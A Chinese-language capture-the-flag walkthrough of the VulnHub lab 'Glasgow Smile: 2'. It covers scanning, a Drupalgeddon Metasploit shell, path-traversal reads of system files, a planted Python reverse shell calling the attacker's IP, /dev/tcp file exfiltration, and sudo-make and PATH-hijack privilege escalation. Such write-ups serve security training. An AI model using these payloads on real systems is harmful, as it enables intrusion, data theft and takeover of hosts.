Glasgow Smile: 2
来自 <Glasgow Smile: 2 ~ VulnHub>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.182,靶场IP192.168.23.131
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.131
访问一下80端口开放的http服务
4,扫描网站存在的子目录
dirsearch -u http://192.168.23.131 -x 404,403
http://192.168.23.131/todo.txt
wfuzz -w /usr/share/wordlists/rockyou.txt --hc 404,400 http://192.168.23.131/FUZZ.sh
扫描到一个joke.sh,打开后发现一行没有注释的命令,这条命令是get一个账号密码登陆一个地址
http://192.168.23.131/Glasgow---Smile2/
果然存在着注册和登录页面
5,不知道登录账户和密码,把自动化脚本仔细阅读,猜测该站点可能存在pcap数据包文件,进一步扫描
wfuzz -w /usr/share/wordlists/rockyou.txt --hc 404,400 http://192.168.23.131/FUZZ.pcap
很快得到一个smileyface.pcap文件
追踪流查看一下看看有什么东西
对base64编码内容进行解码
admin:cPyGDgVJNfNL2LK4px5n 登陆成功
6,对网站进行指纹识别扫描
whatweb -v http://192.168.23.131/Glasgow---Smile2/node/1#comment-form
是drupal8,尝试getshell
searchsploit drupalgeddon
msfconsole -q
search drupalgeddon
options
set RHOSTS 192.168.23.131
set TARGETURI Glasgow---Smile2
成功getshell
7,使用python脚本开启一个可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
信息收集一下
发现四个普通用户,bane carnage riddler venom
ls -l /home/*
由此推测出横向移动的顺序
8,使用常用的socat工具实现tcp端口转发,进一步在外部机器可以访问,方便寻找信息。
socat -d TCP4-LISTEN:12345,reuseaddr,fork TCP4:127.0.0.1:8080
netstat -ntlp
访问一下 http://192.168.23.131:12345/
查看一下页面源代码 view-source:http://192.168.23.131:12345/
怀疑存在文件包含漏洞
构造漏洞利用语句 http://192.168.23.131:12345/?page=../../../../../../etc/passwd
然后访问nginx配置文件
http://192.168.23.131:12345/?page=../../../../../../etc/nginx/nginx.conf
从得知nginx站点配置目录在/etc/nginx/sites-enabled/下,查看站点配置文件:
http://192.168.23.131:12345/?page=../../../../../../etc/nginx/sites-enabled/default.conf
http://192.168.23.131:12345/?page=../../../../../../var/www/myplace/hereis/threatened/index.php
使用 su riddler用户切换,密码J2h3cUy5Sc4gXLp5VXrE
9,横向移动成功,得到第一个flag
在家目录下面信息收集一下
10,解密得到密码UFVE36GvUmK4TcZCxBh8vUEWuYekCY,尝试登录bane
sudo -l发现可以使用carnage用户权限执行/bin/make命令
尝试提权成为carnage用户
COMMAND='/bin/sh'
sudo -u carnage make -s --eval=$'x:\n\t-'"$COMMAND"
横向移动成功,得到flag
优化成为可交互shell
python -c 'import pty;pty.spawn("/bin/bash")'
信息收集发现了一个文件,看看是什么提示
cat /opt/get_out/help.txt
操作步骤
# 1. 确认 moonlight.py 路径(
ls -la /opt/get_out
# 2. 在相同目录创建恶意 zipfile.py
cat <<EOF > /opt/get_out/zipfile.py
import os, socket, subprocess
s = socket.socket()
s.connect(("192.168.23.182", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
EOF
# 3. 在攻击机监听反弹 Shell
nc -lvnp 4444
# 4. 等待定时任务执行(或手动触发)
成功getshell
11,python脚本优化shell
python -c 'import pty;pty.spawn("/bin/bash")'
得到flag,信息收集看看能否suid提权
find / -perm -u=s -type f 2>/dev/null
发现只有gothamwillburn4可以执行,传入本机分析一下
cat /home/venom/Ladies_and_Gentlmen/Gotham/gothamwillburn4 >/dev/tcp/192.168.23.182/8888
nc -lvvp 8888 >123
strings 123
这个文件在运行的过程中调用了cat命令,所以我们可以尝试利用cat命令为切入点进行提权
12,尝试提权,确定这个漏洞利用文件的权限
ls -la /home/venom/Ladies_and_Gentlmen/Gotham/
echo $PATH
echo '/bin/bash' >/tmp/cat
chmod +x /tmp/cat
export PATH="/tmp:$PATH"
which cat
cd /home/venom/Ladies_and_Gentlmen/Gotham/
./gothamwillburn4
最后成功得到flag